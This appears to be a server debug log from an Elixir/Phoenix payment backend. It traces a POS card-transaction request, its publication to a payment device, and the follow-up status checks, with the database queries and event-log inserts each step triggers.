SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:05:14.856000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:42934] QUERY OK source="cloud_transaction" db=0.7ms idle=1037.3ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:05:14.856000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:42934] Sent 200 in 26ms
[Thu Sep  3 10:06:20.743000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:38016] POST /api/device/initiate
[Thu Sep  3 10:06:20.744000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:38016] Processing with DaProductAppWeb.DeviceInitiateController.initiate/2
  Parameters: %{"accountLabel" => "", "amount" => "122", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch151948839428", "externalRefNumber2" => "1099945953", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98250623730001"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:06:20.744000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:38016] Processing card transaction for reference: ch151948839428
[Thu Sep  3 10:06:20.744000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:38016] QUERY OK source="users" db=0.4ms idle=1923.5ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 10:06:20.746000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:38016] QUERY OK source="custom_events" db=1.0ms idle=1642.2ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["initiate_card_txn_request"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 10:06:20.746000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:38016] Attempting to store custom event log:
Event ID: 35
Event Name: "Initiate Card Txn Request"
Event Value: "initiate_card_txn_request"
Reference ID: "ch151948839428"
Payload: %{
  username: "prasanna@dataaegis.com",
  amount: 122,
  account_label: "",
  app_key: "1234567897654",
  customer_mobile_number: "971501234567",
  external_ref_number: "ch151948839428",
  external_ref_number_2: "1099945953",
  external_ref_number_4: "",
  external_ref_numbers: "",
  push_to: %{"deviceId" => "98250623730001"}
}

[Thu Sep  3 10:06:20.747000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:38016] Prepared attributes for custom event log: %{
  payload: %{
    username: "prasanna@dataaegis.com",
    amount: 122,
    account_label: "",
    app_key: "1234567897654",
    customer_mobile_number: "971501234567",
    external_ref_number: "ch151948839428",
    external_ref_number_2: "1099945953",
    external_ref_number_4: "",
    external_ref_numbers: "",
    push_to: %{"deviceId" => "98250623730001"}
  },
  event_name: "Initiate Card Txn Request",
  refrence_id: "ch151948839428",
  transaction_id: nil,
  date_added: ~U[2026-09-03 10:06:20.747025Z],
  event_id: 35,
  event_value: "initiate_card_txn_request"
}
[Thu Sep  3 10:06:20.747000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:38016] Creating custom event log with attributes: %{payload: %{username: "prasanna@dataaegis.com", amount: 122, account_label: "", app_key: "1234567897654", customer_mobile_number: "971501234567", external_ref_number: "ch151948839428", external_ref_number_2: "1099945953", external_ref_number_4: "", external_ref_numbers: "", push_to: %{"deviceId" => "98250623730001"}}, event_name: "Initiate Card Txn Request", refrence_id: "ch151948839428", transaction_id: nil, date_added: ~U[2026-09-03 10:06:20.747025Z], event_id: 35, event_value: "initiate_card_txn_request"}
[Thu Sep  3 10:06:20.779000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:38016] QUERY OK db=30.9ms idle=926.6ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{username: "prasanna@dataaegis.com", amount: 122, account_label: "", app_key: "1234567897654", customer_mobile_number: "971501234567", external_ref_number: "ch151948839428", external_ref_number_2: "1099945953", external_ref_number_4: "", external_ref_numbers: "", push_to: %{"deviceId" => "98250623730001"}}, "Initiate Card Txn Request", "ch151948839428", ~U[2026-09-03 10:06:20Z], 35, "initiate_card_txn_request", ~N[2026-09-03 10:06:20], ~N[2026-09-03 10:06:20]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 10:06:20.779000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:38016] Successfully created custom event log with ID: 40154
[Thu Sep  3 10:06:20.779000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:38016] Handling card transaction:
- Reference: ch151948839428
- Amount: 122
- Params: %{"accountLabel" => "", "amount" => "122", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch151948839428", "externalRefNumber2" => "1099945953", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98250623730001"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}

[Thu Sep  3 10:06:20.781000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:38016] QUERY OK source="users" db=1.2ms idle=958.4ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 10:06:20.782000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:38016] QUERY OK source="custom_events" db=0.8ms idle=959.9ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["response_from_device_online_status"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 10:06:20.782000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:38016] Attempting to store custom event log:
Event ID: 36
Event Name: "Response From Device Online Status"
Event Value: "response_from_device_online_status"
Reference ID: "ch151948839428"
Payload: %{
  status: "online",
  username: "prasanna@dataaegis.com",
  ts: 1788429980,
  device_id: "98250623730001",
  amount: 122
}

[Thu Sep  3 10:06:20.782000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:38016] Prepared attributes for custom event log: %{
  payload: %{
    status: "online",
    username: "prasanna@dataaegis.com",
    ts: 1788429980,
    device_id: "98250623730001",
    amount: 122
  },
  event_name: "Response From Device Online Status",
  refrence_id: "ch151948839428",
  transaction_id: nil,
  date_added: ~U[2026-09-03 10:06:20.782774Z],
  event_id: 36,
  event_value: "response_from_device_online_status"
}
[Thu Sep  3 10:06:20.782000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:38016] Creating custom event log with attributes: %{payload: %{status: "online", username: "prasanna@dataaegis.com", ts: 1788429980, device_id: "98250623730001", amount: 122}, event_name: "Response From Device Online Status", refrence_id: "ch151948839428", transaction_id: nil, date_added: ~U[2026-09-03 10:06:20.782774Z], event_id: 36, event_value: "response_from_device_online_status"}
[Thu Sep  3 10:06:20.816000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:38016] QUERY OK db=33.4ms idle=961.1ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{status: "online", username: "prasanna@dataaegis.com", ts: 1788429980, device_id: "98250623730001", amount: 122}, "Response From Device Online Status", "ch151948839428", ~U[2026-09-03 10:06:20Z], 36, "response_from_device_online_status", ~N[2026-09-03 10:06:20], ~N[2026-09-03 10:06:20]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 10:06:20.817000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:38016] Successfully created custom event log with ID: 40155
[Thu Sep  3 10:06:20.817000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:38016] Publish payload 98250623730001: "{\"type\":\"card\",\"request_id\":\"ch151948839428\",\"amount\":12200,\"phone\":\"93437121736\",\"terminalid\":\"90080005\"}"
[Thu Sep  3 10:06:20.849000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:38016] QUERY OK db=31.7ms queue=0.3ms idle=746.5ms
INSERT INTO `cloud_transaction` (`status`,`payload`,`email`,`device_id`,`transaction_ref_number`,`provider_id`,`transaction_amount`,`additional_data`,`user_id`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?,?,?,?) ["pending", %{"accountLabel" => "", "amount" => "122", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch151948839428", "externalRefNumber2" => "1099945953", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98250623730001"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}, "ch_009664cfe61e@mercurypay.in", "98250623730001", "ch151948839428", 4, Decimal.new("122"), %{}, "1", ~N[2026-09-03 10:06:20], ~N[2026-09-03 10:06:20]]
↳ DaProductAppWeb.DeviceInitiateController.do_handle_card_txn/3, at: lib/da_product_app_web/controllers/device_initiate_controller.ex:328
[Thu Sep  3 10:06:20.851000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:38016] QUERY OK source="users" db=0.8ms idle=744.3ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 10:06:20.852000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:38016] QUERY OK source="custom_events" db=0.6ms queue=0.1ms idle=299.9ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["request_for_publish_txn"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 10:06:20.852000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:38016] Attempting to store custom event log:
Event ID: 37
Event Name: "Request For Publish Txn"
Event Value: "request_for_publish_txn"
Reference ID: "ch151948839428"
Payload: %{
  username: "prasanna@dataaegis.com",
  topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub",
  ts: 1788429980,
  qos: 1,
  device_id: "98250623730001",
  amount: 122
}

[Thu Sep  3 10:06:20.852000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:38016] Prepared attributes for custom event log: %{
  payload: %{
    username: "prasanna@dataaegis.com",
    topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub",
    ts: 1788429980,
    qos: 1,
    device_id: "98250623730001",
    amount: 122
  },
  event_name: "Request For Publish Txn",
  refrence_id: "ch151948839428",
  transaction_id: nil,
  date_added: ~U[2026-09-03 10:06:20.852823Z],
  event_id: 37,
  event_value: "request_for_publish_txn"
}
[Thu Sep  3 10:06:20.853000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:38016] Creating custom event log with attributes: %{payload: %{username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub", ts: 1788429980, qos: 1, device_id: "98250623730001", amount: 122}, event_name: "Request For Publish Txn", refrence_id: "ch151948839428", transaction_id: nil, date_added: ~U[2026-09-03 10:06:20.852823Z], event_id: 37, event_value: "request_for_publish_txn"}
[Thu Sep  3 10:06:20.888000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:38016] QUERY OK db=35.0ms queue=0.2ms idle=217.5ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub", ts: 1788429980, qos: 1, device_id: "98250623730001", amount: 122}, "Request For Publish Txn", "ch151948839428", ~U[2026-09-03 10:06:20Z], 37, "request_for_publish_txn", ~N[2026-09-03 10:06:20], ~N[2026-09-03 10:06:20]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 10:06:20.889000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:38016] Successfully created custom event log with ID: 40156
[Thu Sep  3 10:06:20.889000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:38016] Published successfully to topic1: /ota/pFppbioOCKlo5c8E/98250623730001/update with ref: #Reference<0.2525715032.1067450372.128307>
[Thu Sep  3 10:06:20.889000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:38016] Published successfully to topic2: ota/pos/12345678/98250623730001/sub with ref: #Reference<0.2525715032.1067450372.128311>
[Thu Sep  3 10:06:20.890000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:38016] QUERY OK source="users" db=0.4ms idle=145.0ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 10:06:20.891000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:38016] QUERY OK source="custom_events" db=0.4ms idle=144.4ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["response_from_publish_txn"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 10:06:20.891000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:38016] Attempting to store custom event log:
Event ID: 38
Event Name: "Response From Publish Txn"
Event Value: "response_from_publish_txn"
Reference ID: "ch151948839428"
Payload: %{
  error: nil,
  status: "success",
  username: "prasanna@dataaegis.com",
  topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub",
  ts: 1788429980,
  device_id: "98250623730001",
  amount: 122
}

[Thu Sep  3 10:06:20.891000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:38016] Prepared attributes for custom event log: %{
  payload: %{
    error: nil,
    status: "success",
    username: "prasanna@dataaegis.com",
    topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub",
    ts: 1788429980,
    device_id: "98250623730001",
    amount: 122
  },
  event_name: "Response From Publish Txn",
  refrence_id: "ch151948839428",
  transaction_id: nil,
  date_added: ~U[2026-09-03 10:06:20.891544Z],
  event_id: 38,
  event_value: "response_from_publish_txn"
}
[Thu Sep  3 10:06:20.891000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:38016] Creating custom event log with attributes: %{payload: %{error: nil, status: "success", username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub", ts: 1788429980, device_id: "98250623730001", amount: 122}, event_name: "Response From Publish Txn", refrence_id: "ch151948839428", transaction_id: nil, date_added: ~U[2026-09-03 10:06:20.891544Z], event_id: 38, event_value: "response_from_publish_txn"}
[Thu Sep  3 10:06:20.935000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:38016] QUERY OK db=43.2ms idle=113.0ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{error: nil, status: "success", username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub", ts: 1788429980, device_id: "98250623730001", amount: 122}, "Response From Publish Txn", "ch151948839428", ~U[2026-09-03 10:06:20Z], 38, "response_from_publish_txn", ~N[2026-09-03 10:06:20], ~N[2026-09-03 10:06:20]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 10:06:20.935000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:38016] Successfully created custom event log with ID: 40157
[Thu Sep  3 10:06:20.936000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:38016] Publish successful to 98250623730001 with ref: #Reference<0.2525715032.1067450372.128311>
[Thu Sep  3 10:06:20.936000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:38016] Sent 200 in 192ms
[Thu Sep  3 10:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms queue=0.1ms idle=1186.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 10:06:27.049000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:38020] POST /api/device/status
[Thu Sep  3 10:06:27.050000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:38020] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch151948839428", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:06:27.050000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:38020] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch151948839428", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:06:27.050000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:38020] Transaction reference number: "ch151948839428"
[Thu Sep  3 10:06:27.065000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:38020] QUERY OK source="pos_transaction" db=14.5ms idle=1229.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:06:27.066000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:38020] QUERY OK source="pos_temp_transaction" db=0.9ms idle=942.5ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:06:27.070000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:38020] QUERY OK source="pos_failed_transaction" db=3.0ms idle=245.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:06:27.071000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:38020] QUERY OK source="cloud_transaction" db=0.8ms queue=0.1ms idle=249.1ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:06:27.071000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:38020] Sent 200 in 22ms
[Thu Sep  3 10:06:31.591000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:43358] POST /api/device/status
[Thu Sep  3 10:06:31.591000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:43358] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch151948839428", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:06:31.592000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:43358] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch151948839428", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:06:31.592000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:43358] Transaction reference number: "ch151948839428"
[Thu Sep  3 10:06:31.609000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:43358] QUERY OK source="pos_transaction" db=16.9ms queue=0.1ms idle=771.6ms
